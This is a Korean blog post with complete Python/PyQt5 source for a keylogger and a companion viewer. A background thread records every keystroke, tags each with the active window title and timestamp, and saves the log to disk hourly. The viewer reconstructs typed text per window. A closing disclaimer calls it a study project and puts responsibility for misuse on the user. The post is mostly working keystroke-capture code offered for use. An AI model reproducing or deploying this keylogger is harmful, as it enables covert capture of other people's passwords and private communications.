반응형
### co.la@kakao.com ###
### Pig_Cola ###
from PyQt5 import QtWidgets, QtCore
import sys,pickle,keyboard,time
# 메인 프로그램 UI 및 슬롯 구축
class main(QtWidgets.QWidget):
def __init__(self):
super().__init__()
self.setWindowFlag(QtCore.Qt.WindowMinimizeButtonHint,False)
self.setWindowFlag(QtCore.Qt.WindowMaximizeButtonHint,False)
self.setMinimumSize(178,45)
self.pbt1 = QtWidgets.QPushButton('키로거', self)
self.pbt2 = QtWidgets.QPushButton('뷰어', self)
self.pbt1.setGeometry(11,11,75,23)
self.pbt2.setGeometry(92,11,75,23)
self.pbt1.clicked.connect(self.pbt1_c)
self.pbt2.clicked.connect(self.pbt2_c)
def pbt1_c(self):
self.sub = keyloger()
self.sub.show()
self.close()
def pbt2_c(self):
self.sub = viewer()
self.sub.show()
self.close()
# 레코딩 프로그램 UI구축
class keyloger(QtWidgets.QWidget):
def __init__(self):
super().__init__()
self.setMinimumSize(120,45)
self.setMaximumSize(120,45)
self.pbt1 = QtWidgets.QPushButton('종료',self)
self.pbt1.clicked.connect(self.close)
self.th = _record(self) # 백그라운드 쓰레드
self.th.start() # 쓰레드 활성화
layout = QtWidgets.QGridLayout()
layout.addWidget(self.pbt1)
self.setLayout(layout)
# 종료이벤트 설정으로 레코딩 도중 종료시 저장되도록 함
def closeEvent(self,e):
self.th._stop_recording()
e.accept()
# 뷰어 프로그램 UI구축
class viewer(QtWidgets.QWidget):
def __init__(self):
super().__init__()
self.tb = QtWidgets.QTextBrowser(self)
self.setAcceptDrops(True)
layout = QtWidgets.QGridLayout()
layout.addWidget(self.tb)
self.setLayout(layout)
# 드래그 한 무언가가 올라왔을때 작동
# 무언가에 주소값이 없다면 거절
def dragEnterEvent(self, e):
if e.mimeData().urls() == []:
e.ignore()
else:
e.accept()
# 드래그한 무언가가 놓아졌을때(드래그이벤트가 거절되지 않아야 작동한다)
def dropEvent(self, e):
self.keylogview(e.mimeData().text()[8:])
self.tb.setText(self.key)
# 데이터에 주소가 있으나 올바르지 않다면 빈 리스트 []를 리턴
def _open(self,f:str):
try:
with open(f,'rb') as mydata:
data = pickle.load(mydata)
except:
data = []
return data
# 빈 리스트를 받아왔다면 잘못된 입력이라고 출력.
# 정상적인 리스트 데이터라면 아래의 표시방법에 따라 출력
# (title에 창이름과 프로세스 이름이 있는 win_title을 넣어주고
# 직전 타이틀과 비교하여 같은곳인지 판단.
# 동일한곳이 아니라면 새로 바뀐곳의 title을 출력하고 첫 입력시간 출력)
def keylogview(self,f):
key_str = ''
title = None
if self._open(f) == []:
key_str = '잘못된 입력입니다.'
else :
for i in self._open(f):
try:
if i.event_type == 'down':
try:
if title == None:
title = i.win_title
key_str += i.win_title + '\n' + '({}년 {}월 {}일 - {}시{}분{}초)\n'.format(*list(time.localtime(i.time))[:6])
elif title != i.win_title:
title = i.win_title
key_str += '\n\n' + i.win_title + '\n' + '({}년 {}월 {}일 - {}시{}분{}초)\n'.format(*list(time.localtime(i.time))[:6])
if len(i.name) == 1:
key_str += i.name
else:
key_str += ' [' + i.name + '] '
except:
continue
except:
key_str = '잘못된 입력입니다.'
self.key = key_str
# 백그라운드 쓰레드 구축(레코딩 프로그램에 들어감)
class _record(QtCore.QThread):
def __init__(self,selfs):
super().__init__(selfs)
self._state = False
self.record = []
self.mutex = QtCore.QMutex()
self._time = None
def run(self): # 쓰레드에서 실행될 구문
while True:
self.mutex.lock()
if not self._state:
self.recording()
else:
if time.time() - self._time >= 3600: # 1시간 마다 저장한다
self.recording()
self.mutex.unlock()
def recording(self):
self._state = not self._state
if self._state:
self._start_recording()
else:
self._stop_recording()
def _start_recording(self):
self._time = time.time()
keyboard.start_recording()
def _stop_recording(self):
self.record = keyboard.stop_recording()
self._save()
def _save(self):
if self.record != []:
with open('log/{}'.format(time.strftime('%Y-%m-%d_%H_%M_%S',time.localtime())),'wb') as mydata:
pickle.dump(self.record,mydata)
self.record = []
if __name__ == '__main__':
app = QtWidgets.QApplication(sys.argv)
wind = main()
wind.show()
app.exec()
해당 프로그램은 공부하는 의미로 제작하였으며
악용시 모든 책임은 개개인에게 있음을 알립니다.
반응형
'Python > Python_Project | 키로거 및 뷰어' 카테고리의 다른 글
뷰어 프로그램 기능구현, 드래그 앤 드롭 사용 (0) | 2020.05.20 |
---|---|
keyboard라이브러리 수정 (0) | 2020.05.20 |
활성화된 창이름,프로세스 이름 얻어오기 (0) | 2020.05.20 |
디버그 - 기록된 키입력 데이터 확인 (0) | 2020.05.20 |
키 기록부분 구현 및 자동저장 - 쓰레드 생성 (0) | 2020.05.20 |
댓글